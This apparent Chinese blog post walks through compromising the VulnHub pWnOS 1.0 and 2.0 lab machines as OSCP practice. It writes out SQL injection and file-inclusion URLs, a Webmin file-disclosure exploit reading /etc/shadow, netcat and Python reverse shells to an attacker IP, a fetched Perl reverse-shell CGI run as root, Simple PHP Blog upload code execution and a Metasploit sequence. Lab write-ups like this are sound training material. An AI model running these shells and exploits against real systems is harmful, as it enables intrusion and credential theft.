pWnOS系列全教程,Webmin文件披露,Simple PHP Blog渗透教程

pWnOS系列全教程,Webmin文件披露,Simple PHP Blog渗透教程

pWnOS1.0打靶思路

下载链接见:

https://download.vulnhub.com/pwnos/pWnOS_v1.0.zip

注意一定要选择这个 “我已移动该虚拟机” ,否则扫描不到靶机。

image-20250125162832834

网络模式为nat,开机后使用主机发现命令

arp-scan -l

image-20250125163409736

端口扫描,端口扫描的内容如下

image-20250125163717981

总共有两个http服务,一个是10000端口(注意这里如果登录错误太多了话,会导致你的ip封禁)

image-20250125164139869

一个是80端口,点击next

image-20250125163657324

我们一路下一步

image-20250125220804936

被嘲讽了

image-20250125220742116

嘲讽页面的sql注入(像xss,文件包含都试试)

http://10.10.10.129/index2.php?name=admin%27%20and%201=1%20--+&level=sk1ll3d+n00b%27%20and%201=1%20--+&submit=Please+Help%21 # sql
http://10.10.10.129/index2.php?name=../../../../../../../../etc/passwd&level=../../../../../etc/passwd&submit=../../../../etc/passwd # 文件包含

image-20250125221129986

经过一番测试后,发现一个文件包含点

http://10.10.10.129/index1.php?help=true&connect=/etc/passwd

image-20250125230558403

/etc/shadow 密码文件

image-20250125233623712

有了文件包含,但是没有文件上传点,不能通过文件包含图片马的方式获取shell,转换思路,分析/etc/passwd文件,他有四个用户

curl 'http://10.10.10.129/index1.php?help=true&connect=/etc/passwd'

image-20250125234850884

目录扫描出来一个php文件夹,包含了phpmyadmin站点目录,但是需要进行401认证,弱口令admin/admin,root/root登录失败,那么切换这四个用户试试呢

image-20250125164403871

vmware
obama
osama
yomama

很遗憾都失败了,我点击了取消,这里出现了指纹信息,phpMyAdmin 2.6.3-pl1

image-20250125235051689

上exp

image-20250125235117947

可以看到这是一个跨站脚本的漏洞

image-20250125235408015

对于我们获取shell用处不是很大,继续切换思路,放眼到10000端口,可以试试之前的用户名(都失败)

image-20250125235453512

那么就上exp,Webmin,那么如何选择这些内容呢

image-20250125235719975

尽量不选择Metasploit的利用方式,据红队笔记大佬说,Metasploit好比一个黑盒,我们看不到执行的过程,不利于学习渗透(oscp考试也限制使用msf)。其次需要认证Authenticated的漏洞我们也不选,因为此时我们都不知道如何登录webmin。CSRF的漏洞优先级较低,也先不考虑,我们需要优先考虑能直接获取 shell 的漏洞。所以有用的脚本可能如下,命令执行的有三个 705、746、47293,文件披露(任意文件泄露)的有两个1997、2017

image-20250126000753883

image-20250126000917439

文件披露的1997(不行)、2017可以

image-20250126001315870

根据提示,得出命令如下,读出/etc/shadow密码文件

perl 2017.pl 10.10.10.129 10000 /etc/shadow http

image-20250126001428386

用户vmware密码h4ckm3,其他几个都失败

image-20250126002044038

由于靶机那边出了点问题,不能让我ssh连接了(源wp是可以的,应该是ssh版本太新了,windows和kali都不行,连不上)

image-20250126003225987

这里我就想了个办法,只能用nc反弹了(登录原来的系统)

nc 10.10.10.128 6666 -e /bin/bash

image-20250126003528899

切换上级目录,可以看到不是交互式终端

image-20250126003513002

创建交互式终端

python -c 'import pty; pty.spawn("/bin/bash");'

系统信息收集,是ubuntu非常老的版本了7.10

image-20250126003822365

看看有没有内核提权(没有)

image-20250126003946046

sudo -l ,很遗憾了,这个用户好可怜,用不了sudo,和我们一样都是打工仔

image-20250126004027345

uname -a 
cat /etc/os-release   # 没有lsb_release -a命令可以使用这个代替
sudo -l # 查看可以使用sudo的文件
find / -perm -4000 -print 2>/dev/null  # 查找 SUID文件
ls -al /etc/cron* # 查看所有计划任务
find / -perm 777 -type f 2>/dev/null # 查看文件权限为777的文件信息

计划任务,没有一个普通用户能用的,打工仔已经坐不住了

image-20250126004225048

回到刚刚读取到的shadow文件,既然能读取shadow文件,那么一定是以root的身份读取这个文件的,如果我们上传一个可执行的脚本呢?利用prel语言来读取并执行这个文件。之所以要将后缀名改为.cgi,我的理解是要将perl语言的代码改写为执行文件,如果不修改后缀名的话,用2017.pl的exp只能以root权限读取shell.pl,而无法执行shell.pl,也就无法反弹shell

cp /usr/share/webshells/perl/perl-reverse-shell.pl shell.cgi

image-20250126005455297

Webmin 的可执行文件后缀

  • 无后缀:Webmin 的主可执行文件通常是一个没有后缀的脚本文件,例如 webmin。
  • .cgi 后缀:Webmin 使用 CGI 脚本来处理 Web 请求,这些脚本文件通常以 .cgi 为后缀。例如, /usr/share/webmin/ 目录下的许多文件都是 .cgi 文件。
  • .pl 后缀:Webmin 的某些脚本文件可能以 .pl 为后缀,表示它们是 Perl 脚本。例如,/etc/webmin/ 目录下的配置文件和脚本文件可能包含 .pl 后缀。

修改这个可执行文件

image-20250126005737211

靶机下载后将文件赋予执行权限

which wget
wget 10.10.10.128:443/shell.cgi
chmod +x shell.cgi

image-20250126010238470

继续利用脚本

perl 2017.pl 10.10.10.129 10000 /tmp/shell.cgi http

image-20250126010157119

反弹成功

image-20250126010210283

pWnOS2.0打靶思路

下载链接见:

https://download.vulnhub.com/pwnos/pWnOS_v1.0.zip

下载之后用VMware打开,特别注意,这个靶机的ip是固定的10.10.10.100,我们需要将靶机设置为NAT模式,同时要将攻击机kali的ip也处于10.10.10.0/24这个网段,具体在菜单栏的编辑——虚拟网络编辑器,如下,点击更改设置,保证虚拟机的子网ip是10.10.10.0即可(否则可能扫不到靶机的ip)。

主机发现

image-20250124221507546

全端口syn扫描

image-20250124221744846

访问80端口

image-20250124221715863

目录扫描

image-20250124221959035

有一个info.php,找到文件

image-20250124222156828

/blog/config/这里有两个文件

image-20250124222404335

第一个文件内容

No Title|No Author|No Footer|english|new_to_old|new_to_old|1|5|1|b,i,strong,em,url|email@myblog.com||||||1||

密码文件内容,是一个md5(Unix)类型的加密

$1$weWj5iAZ$NU4CkeZ9jNtcP/qrPC69a/

返回到主页,测试sql注入

image-20250124223325028

sql语句报错,存在sql注入漏洞

image-20250124223259536

那么就万能密码,成功登录页面只有一个Welcome admin@isints.com,一个邮箱信息,

admin' || 1=1 -- +

image-20250124224904705

Powered by Simple PHP Blog 0.4.0 cms的版本指纹信息

image-20250124232755219

框中的这第四个有一个msf的exp,远程命令执行(Remote Command Execution),符合条件的只有后面两个

image-20250125142943399

他是说这个系统中有三个漏洞,第一个是暴露了 password.txt ,刚开始我们目录扫描的时候已经扫描出来了,第二个在登录用户的图像上传,没有身份验证,上传任意的文件,第三个漏洞是博客评论可以任意删除。

image-20250125144927853

看样子是需要我们登录进去了,还有一个exp没有用上

image-20250125145627877

插叙:如果出现运行报错Can’t locate Switch.pm in @INC,应该是perl版本依赖未安装的问题,运行如下命令即可。

sudo apt install libswitch-perl

根据他的提示,我们利用 -e 参数,指定好第一个文件上传的选项 1,这里提示我们在网站的images下面创建了一个cmd.php文件

image-20250125150150712

访问即可

image-20250125150346841

利用python反弹shell

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.10.128",6666));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'

image-20250125150659342

这里就不需要创建交互式终端了,这里使用python反弹的shell,默认已经可以交互式了。

系统信息收集,属于低版本的ubuntu,首先考虑的是内核提权

image-20250125151418904

继续信息收集,返回上级目录,看到一个mysqli_connect.php文件,可以看到mysql的密码信息

user : root
pass : goodday

image-20250125151750157

鉴权失败

image-20250125151906228

返回home看到有一个用户,用刚刚的mysql密码登录试试,鉴权失败

image-20250125152151927

文件权限信息收集

find / -perm 777 -type f 2>/dev/null # 777文件
find / -perm -4000 -print 2>/dev/null # SUID文件

sudo -l 意外的发现,www-data用户能够使用sudo,但是不知道密码

image-20250125152648973

经过一番折腾后,在var目录下面又找到了一个数据库连接的文件

image-20250125152834059

密码为 root@ISIntS

image-20250125152920284

又是一个密码信息,大概率是dan用户的

admin@isints.com

image-20250125153032349

鉴权失败

image-20250125153139681

目前已知三个密码信息(其中一个是邮箱)

admin@isints.com   # 数据表中dan的邮箱
root@ISIntS  # 数据库密码
goodday   # 假的数据库密码

image-20250125153500490

回到刚刚的内核提权,尝试一下

image-20250125154250083

已关机。。。。利用失败

image-20250125154300712

靶机提权主要是利用已知的所有密码信息,进行密码碰撞,利用数据库连接的密码,切换root用户来进行提权

也可以使用第二种方法(考试只能使用一次),msf(不清楚什么原因,漏洞利用成功,建立会话失败,是利用失败的,可以自行尝试)

msfconsole
search Simple PHP Blog 0.4.0
set rhosts 10.10.10.100
set URI blog
set payload php/meterpreter/reverse_tcp
run

image-20250125154854059

往期推荐

网络安全从业者生存指南(硬货篇)

【OSCP】 Kioptrix 提权靶机(1-5)全系列教程,Try Harder!绝对干货!

Viper一个互联网攻击面管理,红队模拟平台

【渗透测试】DC1~9(全) Linux提权靶机渗透教程,干货w字解析,建议收藏

【oscp】Tr0ll 靶机全系列(1-3),FTP被玩坏了

ATK&CK红日靶场二,Weblogic漏洞利用,域渗透攻略

本站内容部分转载于互联网,并不代表本站立场!如若本站内容侵犯了原著者的合法权益,可联系我们进行处理! 拒绝任何人以任何形式在本站发表与中华人民共和国法律相抵触的言论!
THE END
喜欢就支持一下吧
点赞6 分享
评论 抢沙发
头像
欢迎您留下宝贵的见解!
提交
头像

昵称

取消
昵称表情代码图片

    暂无评论内容